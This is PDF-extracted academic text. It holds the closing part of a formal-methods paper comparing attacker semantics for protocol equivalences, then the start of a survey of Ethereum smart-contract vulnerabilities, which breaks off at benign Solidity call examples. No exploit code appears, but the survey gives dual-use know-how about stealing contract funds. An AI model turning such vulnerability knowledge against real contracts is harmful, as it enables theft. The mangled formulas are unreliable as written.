replication nor else branches. The second part of the proof relies on the use of else
branches. We can however refine this result in the case of labeled bisimulation to
processes without else branches, the counter-example being the same processes
A and B described in the proof but where we replace each outho(d, a) by 0. In
the case of trace equivalence, we can also produce a counter-example without
else branches witnessing that trace equivalences in the classical semantics do no
imply trace equivalences in the private semantics but provided that we rely on
a function symbol h. In the appendix of the technical report [7], we describe in
more details these processes and give the proofs of them being counter-examples.

Next, we show that the eavesdropping semantics yields strictly stronger
bisimulations and trace equivalences: the eavesdropping semantics is actually
strictly included in the intersection of the classic and private semantics.

Theorem 4. ≈e
� � ≈p

� ∩ ≈c
�.

Proof (Sketch)

1. We first show that ≈e
� ⊆ ≈p

� . Suppose A≈e
�B and let R be the relation wit-

nessing this equivalence. We will show that R is also a labelled bisimulation
in the private semantics. Suppose ARB.
– as A≈e

�B, we have that φ(A) ∼ φ(B).
– if A

τ−→p A′ then, as τ−→p⊂ τ−→e, A
τ−→e A′. As A≈e

�B there exists B′ such that
B

ε=⇒e B′ and A′RB′. As B is a honest process no Comm-Eav transition
is possible, and hence B

ε=⇒p B′.
– if A

�−→p A′ and bn(�) ∩ fn(B) = ∅ then we also have that A
�−→e A′

(as �−→p⊂ �−→e and there exists B′ such that B
�=⇒e B′ and A′RB′. As no

Comm-Eav are possible and � is not of the form eav(c, d) nor νy.eav(c, y)
we have that B

�=⇒p B′.
2. We next show that A ≈e

� B implies A ≈c
� B for any A,B. We will show that

≈e
� is also a labelled bisimulation in the classical semantics. The proof relies

on similar arguments as in Item 2 of the proof of Theorem5 and the facts
that
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– νñ.(A′ | {t/x}) ≈e
� νñ.(B′ | {u/x}) implies νñ.A′ ≈e

� νñ.B′,
– A′ ≈e

� B′ implies νc.A′ ≈e
� νc.B′

The first property is needed when an internal communication of a term or
public channel is replaced by an eavesdrop action and an input. The second
property handles the case when we replace the internal communication of a
private channel by an application of the Eav-OCh rule and an input.

3. We now show that the implication ≈e
� � ≈c

� ∩ ≈c
t is strict, i.e., there exist A

and B such that A ≈c
� B, A ≈p

� B but A �≈e
t B (which implies A �≈e

� B).

Consider the processes A and B defined in Fig. 6. This example is a variant of
the one given in Fig. 4. The difference is the addition of “inho(d, z).if z = s1 then ”
in processes P1(x) and P2(x): this additional check is used to verify whether the
adversary learned s1 or not. The proofs that A ≈c

� B and A ≈p
� B follow the same

lines as in Theorem 3. We just additionally observe that νs1.(inho(d, z).if z =
s1 then outho(d, s2)) ≈s

� νs1. (inho(d, z).0) for s ∈ {c, p}.
The trace witnessing that A �≈e

t B (which implies A �≈e
� B) is again simi-

lar to the one in Theorem3, but starting with an eavesdrop transition which
allows the attacker to learn s1, which in turn allows him to learn s2 and distin-
guish P1(s2) from P2(s2). We have verified A �≈e

t B using APTE which implies
A �≈e

� B. ��
Again we note that the implications are strict, even for processes containing

only public channels.

Theorem 5. ≈e
t � ≈p

t ∩ ≈c
t.

Proof (Sketch)

1. We first prove that ≈e
t ⊆ ≈p

t . Suppose that A ≈e
t B. We need to show that

for any A′ such that A
tr=⇒p A′ there exists B′ such that B

tr=⇒p B′. It follows
from the definition of the semantics that whenever A

tr=⇒p A′ then we also

have A
tr=⇒e A′ as �−→p ⊂ �−→e. As A ≈e

t B, we have that there exists B′, such

A νs1.νs2.((out
ho(c, s1).in

ho(c, x).P1(x)) | (inho(c, y).P2(y)))

B νs1.νs2.((out
ho(c, s1).in

ho(c, x).P2(x)) | (inho(c, y).P1(y)))

where

P1(x (=̂) if x = s1 then inho(d, z).if z = s1 then outho(d, s2)) | (if x = s2 then outho(e, x))

P2(x (=̂) if x = s1 then inho(d, z).if z = s1 then outho(d, s2))

To emit on channel e, processes A and B must execute P2(s1) by inputing twice s1 followed
by P1(s2). In the classical semantics, an internal communication on A between outho(c, s1)
and inho(c, y) forces B to execute P1(s1) but hides s1, preventing a second input of s1 by A.
However, in the eavesdropping semantics, the internal communication reveals s1 allowing A to
emit on e but not B.

=̂

=̂

Fig. 6. Processes A and B such that A ≈c
� B, A ≈p

� B but A �≈e
t B.
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that B
tr=⇒e B′ and φ(A′) ∼ φ(B′). As tr does not contain labels of the form

eav(c, d) nor νy.eav(c, y) and as no Comm-Eav are possible (A and B are
honest processes) we also have that B

tr=⇒p B′. Hence A ≈p
t B.

2. We next prove that ≈e
t ⊆ ≈c

t. Similar to Item 1 we suppose that A ≈e
t B and

A
trc==⇒c A′

c. From the semantics, we obtain that A
tre==⇒e A′

e, where
– φ(A′

c) ⊆ φ(A′
e), i.e., dom(φ(A′

c)) ⊆ dom(φ(A′
e)) and the frames coincide

on the common domain.
– tre is constructed from tr by replacing any τ action resulting from the

Comm rule by an application of an eavesdrop rule (Eav-T, Eav-Ch, or
Eav-OCh).

The proof is done by induction on the length of tr and the proof tree of each
transition. As A ≈e

t B we also have that B
tre==⇒e B′

e and A′
e ∼ B′

e. We show by
the definition of the semantics that B

trc==⇒c B′
c and φ(B′

c) ⊆ φ(B′
e) (replacing

each eavesdrop action by an internal communication). Due to the inclusions
of the frames and A′

e ∼ B′
e we also have that A′

c ∼ B′
c.

3. To show that the implication ≈e
t � ≈p

t ∩≈c
t is strict, i.e., there exist processes

A and B such that A ≈c
t B, A ≈p

t B but A �≈e
t B. The processes defined in

Fig. 6 witness this fact (cf the discussion of these processes in the proof of
Theorem 4). These trace (in)equivalences have also been verified using APTE.

We note from the processes defined in Fig. 6 that the implications are strict
even for processes that do not communicate on private channels, do not use
replication, nor else branches and terms are simply names (no function symbols
nor equational theories).

Theorem 6. ≈e
m � ≈p

m ∩ ≈c
m.

Proof (Sketch)

1. We first prove that ≈e
m ⊆ ≈p

m. Suppose that A ≈e
m B. Suppose that A ≈e

m B.
We need to show that for all channel c, for all C[ ] attacker evaluation con-
texts p-closing for A and B, C[A] ⇓p

c is equivalent to C[B] ⇓p
c. It follows

from the definition of the private semantics that any process eav(c, x).P in
C[ ] has the same behaviour as the process 0. Hence, we generate a con-
text C1[ ] by replacing in C[ ] any instance of eav(c, x).P by 0, and thus
obtaining C[A] ⇓p

c ⇔ C ′[A] ⇓p
c and C[B] ⇓p

c ⇔ C ′[B] ⇓p
c. Notice that the def-

inition of semantics gives us →p ⊆ →e. Hence, C ′[A] ⇓p
c implies C ′[A] ⇓e

c

and C ′[B] ⇓p
c implies C ′[B] ⇓e

c. Furthermore, since we built C ′[ ] to not con-
tain any process of the form eav(c, x).P , we deduce that rules C-Eav and
C-OEav can never be applied in a derivation of C ′[A] or C ′[B]. It implies
that C ′[A] ⇓p

c⇔ C ′[A] ⇓e
c and C ′[B] ⇓p

c⇔ C ′[B] ⇓e
c. Thanks to A ≈e

m B, we
know that C ′[A] ⇓e

c ⇔ C ′[B] ⇓e
c and so we conclude that C[A] ⇓p

c ⇔ C[B] ⇓p
c.

2. We next prove that ≈e
m ⊆ ≈c

m. Similarly to Item 1, we consider a channel c
and an attacker evaluation context C[ ] that is c-closing for A and B. The
main difficulty of this proof is to match the application of the rule Comm
in the classical semantics with the rules C-Eav and C-OEac. However, C[ ]
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≈s
� ≈s

o

≈s
t

≈s
m

for all s ∈ {c, p, e}
for image finite processes ≈s

t = ≈s
m

if s = c then ≈s
� = ≈s

o (conjectured for s ∈ {p, e})

≈c
r ≈e

r ≈p
r

for all r ∈ {m, t, �}

Fig. 7. Overview of the results.

does not necessarily contain eavesdrop process eav(d, x) | ωc. Moreover, as
mentioned in Item 1, a process eav(d, x).P has the same behavior as 0 in
the classical semantics but can have a completely different behaviour in the
eavesdropping semantics if P is not 0. Thus, we remove from C[ ] the eaves-
drop processes, obtaining C ′[ ]. Then, we define a new context C ′′[ ] based on
C ′[ ] where will add harmless eavesdrop process eav(d, y).0. We first add in
parallel the processes !eav(a, y) | ωa for all free channels a in C ′[ ], A and B.
Moreover, since private channels can be opened, we also replace any process
νd.P , inat(c, x).P where d, x are of channel type with νd.(P |!eav(d, y)) and
inat(c, x).(P |!eav(x, y)). By induction of the derivations, we can show that
C[A] ⇓c

c ⇔ C ′′[A] ⇓e
c and C[B] ⇓c

c ⇔ C ′′[B] ⇓e
c. Since A ≈e

m B, we deduce
that C ′′[A] ⇓e

c ⇔ C ′′[B] ⇓e
c and so C[A] ⇓c

c ⇔ C[B] ⇓c
c.

3. To show that the implication ≈e
m � ≈p

m ∩ ≈c
m is strict, i.e., there exist

processes A and B such that A ≈c
m B, A ≈p

m B but A �≈e
m B. The processes

defined in Fig. 6 witness this fact. They already were witness of the strict
inclusion ≈e

t � ≈p
t ∩≈c

t (see proof of Theorem 5) and since A and B are image
finite, we know from Theorem 1 that may and trace equivalences between A
and B coincide. ��

4 Subclasses of Processes for Which the Semantics
Coincide

4.1 Simple Processes

The class of simple processes was defined in [12]. It was shown that for these
processes observational and may testing equivalences coincide. Intuitively, these
processes are composed of parallel basic processes. Each basic process is a
sequence of input, test on the input and output actions. Moreover, importantly,
each basic process has a distinct channel for communication.

Definition 7 (basic process). The set B(c,V) of basic processes built
on c ∈ Ch and V ⊆ X (variables of base type) is the least set of processes that
contains 0 and such that
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– if B1, B2 ∈ B(c,V), M,N ∈ T (F ,N ,V), then
if M = N then B1 else B2 ∈ B(c,V).

– if B ∈ B(c,V), u ∈ T (F ,N ,V), then outho(c, u).B ∈ B(c,V).
– if B ∈ B(c,V � {x}), x of base type (x /∈ V), then inho(c, x).B ∈ B(c,V).

Definition 8 (simple process). A simple process is obtained by composing
and replicating basic processes and frames, hiding some names:

νñ. ( νñ1.(B1 | σ1) | !(νc′1, m̃1.out
ho(p1, c

′
1).B

′
1)

...
...

νñk.(Bk | σk) | !(νc′n, m̃n.outho(pn, c′n).B′
n) )

where Bj ∈ B(cj , ∅), B′
j ∈ B(c′j , ∅) and cj are channel names that are pairwise

distinct. The names p1, . . . , pn are distinct channel names that do not appear
elsewhere and σ1, . . . , σk are frames without restricted names (i.e. substitutions).

We have that for simple processes, all equivalences and semantics coincide.

Theorem 7. When restricted to simple processes, we have that ≈s1
r1

= ≈s2
r2

for
r1, r2 ∈ {�, o,m, t} and s1, s2 ∈ {c, p, e}.
Proof. The result when s1 = s2 = c was shown in [12]. As for simple processes,
all parallel processes have distinct channels, the internal communication rule
may never be triggered, and therefore it is easy to show that the three semantics
coincide.

4.2 I/O-Unambiguous Processes

Restricting processes to simple processes is often too restrictive. For instance,
when verifying unlinkability and anonymity properties, two outputs by different
parties should not be distinguishable due to the channel name. We therefore
introduce another class of processes, that we call io-unambiguous for which we
also show that the different semantics (although not the different equivalences)
do coincide.

Intuitively, an io-unambiguous process forbids an output and input on
the same public channel to follow each other directly (or possibly with
only conditionals in between). For instance, we forbid processes of the form
outθ(c, t).inθ(c, x).P , outθ(c, t).(inθ(c, x).P | Q) as well as outθ(c, t).if t1 =
t2 then P else inθ(c, x).Q. We however allow inputs and outputs on the same
channel in parallel.
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Definition 9. We define an honest extended process A to be I/O-unambiguous
when ioua(A, ) = � where

ioua(0, c) = � ioua({u/x}, c) = � ioua(!P, c) = ioua(P, c)
ioua(A | B, c) = ioua(A, c) ∧ ioua(B, c) ioua(νx.A, c) = ioua(A, c)

ioua(νn.A, c) =
{⊥ if n ∈ Ch
ioua(A, c) otherwise

ioua(if u = v then P else Q, c) = ioua(P, c) ∧ ioua(Q, c)

ioua(outθ(d, u).P, c) =
{⊥ if u is of channel type
ioua(P, d) otherwise

ioua(inθ(d, x).P, c) =
{⊥ if x is of channel type or d = c
ioua(P, ) otherwise

Note that an I/O-unambiguous process does not contain private channels
and always input/output base-type terms. We also note that a simple way to
enforce that processes are I/O-unambiguous is to use disjoint channel names for
inputs and outputs (at least in the same parallel thread).

Theorem 8. When restricted to I/O-unambiguous processes, we have that ≈p
r =

≈e
r but ≈e

r � ≈c
r for r ∈ {�, t}.

Proof. From Theorems 4 and 5, we already know that ≈e
r ⊆ ≈p

r and ≈e
r ⊆ ≈c

r.
Hence, we only need to show that ≈p

r ⊆ ≈e
r and ≈p

r � ≈c
r. The latter is easily

shown by noticing that the processes A and B in Fig. 5 are I/O-unambiguous.
Thus, we focus on ≈p

r ⊆ ≈e
r.

We start by proving that for all I/O-unambiguous processes A, for all A
tr=⇒ A′,

we have that A′ is I/O-unambiguous. Note that structural equivalence preserves
I/O-unambiguity, i.e. for all extended processes A,B, for all channel name c,
A ≡ B implies ioua(A, c) = ioua(B, c). Hence, we assume w.l.o.g. that a name is
bound at most once and the set of bound and free names are disjoint.

Second, we show that for all I/O-unambiguous processes A, for all

A
νz.out(c,z).in(c,z)
===========⇒p A′, we have that

νz.eav(c,z)
=======⇒e A′. To prove this property,

denoted P, let us assume w.l.o.g. that A
νz.out(c,z)−−−−−−−→p A1 →∗

p A2
in(c,z)−−−−→p A′.

The transition A
νz.out(c,z)−−−−−−−→p A1 indicates that A ≡ νñ.(outho(c, u).P | Q) and

A1 ≡ ñ.(P | Q | {u/z}) for some P,Q, ñ, c, u. Note that A is I/O-unambiguous,
and hence ioua(P, c) = �.

As A is I/O-unambiguous implies that A does not contain private channels,
we have that the rule applied in A1 →∗

p A2 is either the rule Then or Else.
Therefore, there exists P ′ and Q′ such that P →∗

p P ′, Q →∗
p Q′, An ≡ νñ.(P ′ |

Q′ | {u/x}) and ioua(P ′, c) = �. Hence, we deduce that there exists Q1, Q2

such that Q′ ≡ νm̃.(in.(c, x)Q1 | Q2) and A′ ≡ νñ.νm̃.(P ′ | Q1{u/x} | Q2). We
conclude the proof of this property by noticing that we can first apply on A the
reduction rules of Q →∗

p Q′, then apply the rule C-Eav and finally apply the
rules of P →∗

p P ′.
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1. To prove ≈p
t ⊆ ≈e

t, we assume that A,B are two closed honest extended
processes such that A ≈p

t B. For all A
tr=⇒e A′, it follows from the semantics

that A
trp=⇒p A′ where trp is obtained by replacing in tr each νz.eav(c, z) by

νz.out(c, z).in(c, z). Since A ≈p
t B, there exists B′ such that B

trp=⇒p B′ and
φ(A′) ∼ φ(B′). Thanks to the property P, we conclude that B

tr=⇒e B′.
2. To prove ≈p

� ⊆ ≈e
�, we assume that A,B are two closed honest extended

processes such that A ≈p
� B and let R be the relation witnessing this equiva-

lence. We will show that R is also a labelled bisimulation in the eavesdropping
semantics. Suppose ARB.
– as A ≈p

� B, we have that φ(A) ∼ φ(B).
– if A

τ−→e A′ then, as A is honest, A
τ−→p A′. As A ≈p

� B there exists B′ such
that B

ε=⇒p B′ and A′RB′. As τ−→p ⊂ τ−→e, B
ε=⇒e B′

– if A
�−→e A′ then, as A is I/O-unambiguous, A

tr=⇒e A′ where tr =
νz.out(c, z).in(c, z) when � = νz.eav(c, z) else tr = �. As A ≈p

� B, there
exists B′ such that B

tr=⇒p B′ and A′RB′. When tr = �, the definition of

the semantics directly gives us B
�=⇒e B′. When tr = νz.out(c, z).in(c, z),

the property P gives us B
�=⇒e B′. ��

5 Different Semantics in Practice

As we have seen, in general, the three proposed semantics may yield different
results. A conservative approach would consist in verifying always the eaves-
dropping semantics which is stronger than the two other ones, as shown before.
However, this semantics seems also to be the least efficient one to verify.

We have implemented the three different semantics in the APTE tool, for
processes with static channels, i.e. inputs and outputs may only have names
in the channel position and not variables. This allowed us to investigate the
difference in results and performance between the semantics.

In our experiments we considered several examples from APTE’s repository:

– the Private Authentication protocol proposed by Abadi and Fournet [2];
– the passive authentication protocol implemented in the European Passport

protocol [4,16];
– the French and UK versions of the Basic Access Protocol (BAC) implemented

in the European passport [5,16].

For all these examples we found that the results, i.e., whether trace equiv-
alence holds or not, was unchanged, independent of the semantics. However,
as expected, performance of the private semantics was generally better. The
existing protocol encodings generally used a single public channel. To enforce
I/O-unambiguity, we introduced different channels and, surprisingly, noted that
distinct channels significantly enhance the tool’s performance. (The model using
different channels in the case of RFID protocols such as the electronic passport
is certainly questionable.)
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The results are summarised in the following table. For each protocol we
considered the original encoding, and a slightly changed one which enforces I/O-
unambiguity. In the results column we mark an attack by a cross (×) and a
successful verification with a check mark (�). In case of an attack we generally
considered the minimal number of sessions needed to find the attack. In case of
a successful verification we consider more sessions, which is the reason for the
much higher verification times.

Protocol # Sessions Property Time Result

≈e
t ≈c

t ≈p
t

Private Authentication 1 Anonymity 1 s 1 s 1 s �
2 53h 53m 20 s 47 h 46m 40 s 46 h 56m 40 s

I/O unambiguous 1 1s 1s 1s

2 31m 39 s 21m 2 s 19m 39 s

Passive Authentication 2 Anonymity 4 s 3 s 3 s �
I/O unambiguous 2 4 s 4 s 3 s

3 6 h 38m 34 s 6 h 29m 24 s 6 h 36m 40 s

Passive Authentication 2 Unlinkability 4 s 4 s 3 s �
I/O unambiguous 2 3 s 3 s 3 s

3 7 h 43m 2 s 6 h 39m 14 s 4 h 27m 47 s

FR BAC protocol 2 Unlinkability 1 s 1m 29 s 1 s ×
I/O unambiguous 2 1 s 1 s 1 s

UK BAC protocol 2 Unlinkability 1 h 2m 35 s ? 6 h 39m 14 s ×
I/O unambiguous 2 4s 53s 2s

6 Conclusion

In this paper we investigated two families of Dolev-Yao models, depending on
how the hypothesis that the attacker controls the network is reflected. While
the two semantics coincide for reachability properties, they yield incomparable
notions of behavioral equivalences, which have recently been extensively used to
model privacy properties. The fact that forcing all communication to be routed
through the attacker may diminish his distinguishing power may at first seem
counter-intuitive. We also propose a third semantics, where internal commu-
nication among honest participants is permitted but leaks the message to the
attacker. This new communication semantics entails strictly stronger equiva-
lences than the two classical ones. We also identify two subclasses of protocols
for which (some) semantics coincide. Finally, we implemented the three seman-
tics in the APTE tool. Our experiments showed that the three semantics provide
the same result on the case studies in the APTE example repository. However,
the private semantics is slightly more efficient, as less interleavings have to be
considered. Our results illustrate that behavioral equivalences are much more
subtle than reachability properties and the need to carefully choose the precise
attacker model.
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Abstract. Smart contracts are computer programs that can be cor-
rectly executed by a network of mutually distrusting nodes, without the
need of an external trusted authority. Since smart contracts handle and
transfer assets of considerable value, besides their correct execution it is
also crucial that their implementation is secure against attacks which aim
at stealing or tampering the assets. We study this problem in Ethereum,
the most well-known and used framework for smart contracts so far. We
analyse the security vulnerabilities of Ethereum smart contracts, pro-
viding a taxonomy of common programming pitfalls which may lead to
vulnerabilities. We show a series of attacks which exploit these vulnera-
bilities, allowing an adversary to steal money or cause other damage.

1 Introduction

The success of Bitcoin, a decentralised cryptographic currency that reached a
capitalisation of 10 billions of dollars since its launch in 2009, has raised con-
siderable interest both in industry and in academia. Industries — as well as
national governments [39,46] — are attracted by the “disruptive” potential
of the blockchain, the underlying technology of cryptocurrencies. Basically, a
blockchain is an append-only data structure maintained by the nodes of a peer-
to-peer network. Cryptocurrencies use the blockchain as a public ledger where
they record all the transfers of currency, in order to avoid double-spending of
money. Although Bitcoin is the most paradigmatic application of blockchain
technologies, there are other applications far beyond cryptocurrencies: e.g., finan-
cial products and services, tracking the ownership of various kinds of proper-
ties, digital identity verification, voting, etc. A hot topic is how to leverage on
blockchain technologies to implement smart contracts [25,45]. Very abstractly,
smart contracts are agreements between mutually distrusting participants, which
are automatically enforced by the consensus mechanism of the blockchain —
without relying on a trusted authority.

The most prominent framework for smart contracts is Ethereum [23], whose
capitalisation has reached 1 billion dollars since its launch in July 2015. In
Ethereum, smart contracts are rendered as computer programs, written in a
Turing-complete language. The consensus protocol of Ethereum, which specifies
how the nodes of the peer-to-peer network extend the blockchain, has the goal
c© Springer-Verlag GmbH Germany 2017
M. Maffei and M. Ryan (Eds.): POST 2017, LNCS 10204, pp. 164–186, 2017.
DOI: 10.1007/978-3-662-54455-6 8
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of ensuring the correct execution of contracts. One of the key insights of the
protocol is that, to append a new block of data to the blockchain, nodes must
participate to a lottery, where the probability of winning is proportional to the
computational power of the node. An incentive mechanism ensures that, even
if a malicious node who wins the lottery tries to append a block with incorrect
contract executions, this block will be eventually removed from the blockchain.
Despite some criticism about the effectiveness of the consensus protocol [28,35],
recent theoretical studies establish its security whenever the honest nodes control
the majority of the computational power of the network [30,43].

The fact that Ethereum smart contracts are executed correctly is a neces-
sary condition for their effectiveness: otherwise, an adversary could tamper with
executions in order e.g. to divert some money from a legit participant to her-
self. However, the correctness of executions alone is not sufficient to make smart
contracts secure. Indeed, several security vulnerabilities in Ethereum smart con-
tracts have been discovered both by hands-on development experience [26], and
by static analysis of all the contracts on the Ethereum blockchain [34]. These
vulnerabilities have been exploited by some real attacks on Ethereum contracts,
causing losses of money. The most successful attack managed to steal ∼ $60M
from a contract, but the damage was reverted with a revision of the blockchain.

There are several reasons which make the implementation of smart contracts
particularly prone to errors in Ethereum. A significant part of them is caused by
a misalignment between the semantics of Solidity, the high-level programming
language supported by Ethereum, and the intuition of programmers. Indeed,
whilst Solidity looks like a typed Javascript-like language (with exceptions and
functions), it implements some of these features in a peculiar way. Furthermore,
the language does not introduce constructs to deal with domain-specific aspects,
like e.g. the fact that computation steps are recorded on a public blockchain,
wherein they can be unpredictably reordered or delayed. Another major cause
of the proliferation of insecure smart contracts is that the documentation of
known vulnerabilities is scattered through several sources, including the official
documentation [6,13], research papers [15,26,34], and also Internet discussion
forums [5]. A comprehensive, self-contained and updated survey of vulnerabilities
and attacks to Ethereum smart contracts is still lacking.

Contributions. In this paper we provide the first systematic exposition of the
security vulnerabilities of Ethereum and of its high-level programming language,
Solidity. We organize the causes of vulnerabilities in a taxonomy, whose purpose
is twofold: (i) as a reference for developers of smart contracts, to know and
avoid common pitfalls; (ii) as a guide for researchers, to foster the development
of analysis and verification techniques for smart contracts. For most of the causes
of vulnerabilities in the taxonomy, we present an actual attack (often carried on
a real contract) which exploits them. All our attacks have been tested on the
Ethereum testnet, and their code is available online at co2.unica.it/ethereum.

http://co2.unica.it/ethereum


166 N. Atzei et al.

2 Background on Ethereum Smart Contracts

Ethereum [23] is a decentralized virtual machine, which runs programs — called
contracts — upon request of users. Contracts are written in a Turing-complete
bytecode language, called EVM bytecode [47]. Roughly, a contract is a set of
functions, each one defined by a sequence of bytecode instructions. A remarkable
feature of contracts is that they can transfer ether (a cryptocurrency similar to
Bitcoin [37]) to/from users and to other contracts.

Users send transactions to the Ethereum network in order to: (i) create new
contracts; (ii) invoke functions of a contract; (iii) transfer ether to contracts
or to other users. All the transactions are recorded on a public, append-only
data structure, called blockchain. The sequence of transactions on the blockchain
determines the state of each contract, and the balance of each user.

Since contracts have an economic value, it is crucial to guarantee that their
execution is performed correctly. To this purpose, Ethereum does not rely on a
trusted central authority: rather, each transaction is processed by a large net-
work of mutually untrusted peers — called miners. Potential conflicts in the
execution of contracts (due e.g., to failures or attacks) are resolved through a
consensus protocol based on “proof-of-work” puzzles. Ideally, the execution of
contracts is correct whenever the adversary does not control the majority of the
computational power of the network.

The security of the consensus protocol relies on the assumption that honest
miners are rational, i.e. that it is more convenient for a miner to follow the
protocol than to try to attack it. To make this assumption hold, miners receive
some economic incentives for performing the (time-consuming) computations
required by the protocol. Part of these incentives is given by the execution fees
paid by users upon each transaction. These fees bound the execution steps of a
transaction, so preventing from DoS attacks where users try to overwhelm the
network with time-consuming computations.
Programming smart contracts. We illustrate contracts through a small
example (AWallet, in Fig. 1), which implements a personal wallet associated
to an owner. Rather than programming it directly as EVM bytecode, we use
Solidity, a Javascript-like programming language which compiles into EVM byte-
code1. Intuitively, the contract can receive ether from other users, and its owner
can send (part of) that ether to other users via the function pay. The hashtable
outflow records all the addresses2 to which it sends money, and associates to
each of them the total transferred amount. All the ether received is held by
the contract. Its amount is automatically recorded in balance: this is a special
variable, which cannot be altered by the programmer.

Contracts are composed by fields and functions. A user can invoke a func-
tion by sending a suitable transaction to the Ethereum nodes. The transaction

1 Currently, Solidity is the only high-level language supported by the Ethereum com-
munity. Unless otherwise stated, in our examples we use version 0.3.1 of the compiler,
released on March 31st, 2016.

2 Addresses are sequences of 160 bits which uniquely identify contracts and users.
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Fig. 1. A simple wallet contract.

must include the execution fee (for the miners), and may include a transfer of
ether from the caller to the contract. Solidity also features exceptions, but with
a peculiar behaviour. When an exception is thrown, it cannot be caught: the
execution stops, the fee is lost, and all the side effects — including transfers of
ether — are reverted.

The function AWallet at line 5 is a constructor, run only once when the
contract is created. The function pay sends amount wei (1wei = 10−18ether)
from the contract to recipient. At line 8 the contract throws an exception if the
caller (msg.sender) is not the owner, or if some ether (msg.value) is attached
to the invocation and transferred to the contract. Since exceptions revert side
effects, this ether is returned to the caller (who however loses the fee). At line 9,
the call terminates if the required amount of ether is unavailable; in this case,
there is no need to revert the state with an exception. At line 10, the contract
updates the outflow registry, before transferring the ether to the recipient. The
function send used at line 11 to this purpose presents some quirks, e.g. it may
fail if the recipient is a contract (see Sect. 3).
Execution fees. Each function invocation is ideally executed by all miners in
the Ethereum network. Miners are incentivized to do such work by the execution
fees paid by the users which invoke functions. Besides being used as incentives,
execution fees also protect against denial-of-service attacks, where an adversary
tries to slow down the network by requesting time-consuming computations.

Execution fees are defined in terms of gas and gas price, and their prod-
uct represents the cost paid by the user to execute code. More specifically, the
transaction which triggers the invocation specifies the gas limit up to which the
user is willing to pay, and the price per unit of gas. Roughly, the higher is the
price per unit, the higher is the chance that miners will choose to execute the
transaction. Each EVM operation consumes a certain amount of gas [47], and
the overall fee depends on the whole sequence of operations executed by miners.

Miners execute a transaction until its normal termination, unless an excep-
tion is thrown. If the transaction terminates successfully, the remaining gas is
returned to the caller, otherwise all the gas allocated for the transaction is lost. If
a computation consumes all the allocated gas, it terminates with an “out-of-gas”
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exception — hence the caller loses all the gas3. An adversary wishing to attempt
a denial-of-service attack (e.g. by invoking a time-consuming function) should
allocate a large amount of gas, and pay the corresponding ether. If the adver-
sary chooses a gas price consistently with the market, miners will execute the
transaction, but the attack will be too expensive; otherwise, if the price is too
low, miners will not execute the transaction.
The mining process. Miners group the transactions sent by users into blocks,
and try to append them to the blockchain in order to collect the associated fees.
Only those blocks which satisfy a given set of conditions, which altogether are
called validity, can be appended to the blockchain. In particular, one of these
conditions requires to solve a moderately hard “proof-of-work” puzzle, which
depends on the previous block and on the transactions in the new block. The
difficulty of the puzzle is dynamically updated so that the average mining rate
is 1 block every 12 s.

When a miner solves the puzzle and broadcasts a new valid block to the
network, the other miners discard their attempts, update their local copy of the
blockchain by appending the new block, and start “mining” on top of it. The
miner who solves the puzzle is rewarded with the fees of the transactions in the
new block (and also with some fresh ether).

It may happen that two (or more) miners solve the puzzle almost simultane-
ously. In this case, the blockchain forks in two (or more) branches, with the new
blocks pointing to the same parent block. The consensus protocol prescribes
miners to extend the longest branch. Hence, even though both branches can
transiently continue to exist, eventually the fork will be resolved for the longest
branch. Only the transactions therein will be part of the blockchain, while those
in the shortest branch will be discarded. The reward mechanism, inspired to the
GHOST protocol [43], assigns the full fees to the miners of the blocks in the
longest branch, and a portion of the fees to those who mined the roots of the
discarded branch4. E.g., assume that blocks A and B have the same parent, and
that a miner appends a new block on top of A. The miner can donate part of
its reward to the miner of the “uncle block” B, in order to increase the weight
of its branch in the fork resolution process5.
Compiling Solidity into EVM bytecode. Although contracts are rendered
as sets of functions in Solidity, the EVM bytecode has no support for func-
tions. Therefore, the Solidity compiler translates contracts so that their first part
implements a function dispatching mechanism. More specifically, each function is
uniquely identified by a signature, based on its name and type parameters. Upon
function invocation, this signature is passed as input to the called contract: if it

3 Were the gas returned to callers in case of exceptions, an adversary could mount a
DoS attack by repeatedly invoking a function which just throws an exception.

4 Systems with low mining rate — like e.g. Bitcoin (1 block/10 min) — have a small
probability of forks, hence typically they do not reward discarded blocks.

5 Note however that a recent paper [31] argues that, while uncle blocks do provide
block rewards to miners, they do not contribute towards the difficulty of the main
chain. Therefore, Ethereum does not actually apply the GHOST protocol.

https://github.com/ethereum/wiki/wiki/Ethash
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matches some function, the execution jumps to the corresponding code, other-
wise it jumps to the fallback function. This is a special function with no name
and no arguments, which can be arbitrarily programmed. The fallback function
is executed also when the contract is passed an empty signature: this happens
e.g. when sending ether to the contract.

Solidity features three different constructs to invoke a contract from another
contract, which also allow to send ether. All these constructs are compiled using
the same bytecode instruction. The result is that the same behaviour can be
implemented in several ways, with some subtle differences detailed in Sect. 3.

3 A Taxonomy of Vulnerabilities in Smart Contracts

In this section we systematize the security vulnerabilities of Ethereum smart
contracts. We group the vulnerabilities in three classes, according to the level
where they are introduced (Solidity, EVM bytecode, or blockchain). Further, we
illustrate each vulnerability at the Solidity level through a small piece of code. All
these vulnerabilities can be (actually, most of them have been) exploited to carry
on attacks which e.g. steal money from contracts. The table below summarizes
our taxonomy, with links to the attacks illustrated in Sect. 4.

Level Cause of vulnerability Attacks

Solidity Call to the unknown 4.1

Gasless send 4.2

Exception disorders 4.2, 4.5

Type casts —

Reentrancy 4.1

Keeping secrets 4.4

EVM Immutable bugs 4.3, 4.5

Ether lost in trasfer —

Stack size limit 4.5

Blockchain Unpredictable state 4.5, 4.6

Generating randomness —

Time constraints 4.5

Call to the unknown. Some of the primitives used in Solidity to invoke func-
tions and to transfer ether may have the side effect of invoking the fallback
function of the callee/recipient. We illustrate them below.

– call invokes a function (of another contract, or of itself), and transfers ether
to the callee. E.g., one can invoke the function ping of contract c as follows:
c.call.value(amount)(bytes4(sha3(" ping(uint256)")),n);
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where the called function is identified by the first 4 bytes of its hashed signa-
ture, amount determines how many wei have to be transferred to c, and n is
the actual parameter of ping. Remarkably, if a function with the given signa-
ture does not exist at address c, then the fallback function of c is executed,
instead6.

– send is used to transfer ether from the running contract to some recipient r,
as in r.send(amount). After the ether has been transferred, send executes
the recipient’s fallback. Others vulnerabilities related to send are detailed in
“exception disorders” and “gasless send”.

– delegatecall is quite similar to call, with the difference that the invocation
of the called function is run in the caller environment. For instance, executing
c.delegatecall(bytes4(sha3("ping(uint256)")),n), if ping contains the
variable this, it refers to the caller’s address and not to c, and in case of ether
transfer to some recipient d — via d.send(amount) — the ether is taken from
the caller balance (see e.g. the attack in Sect. 4.6)7.

– besides the primitives above, one can also use a direct call as follows:
contract Alice { function ping(uint) returns (uint); }
contract Bob { function pong(Alice c){ c.ping (42); } }

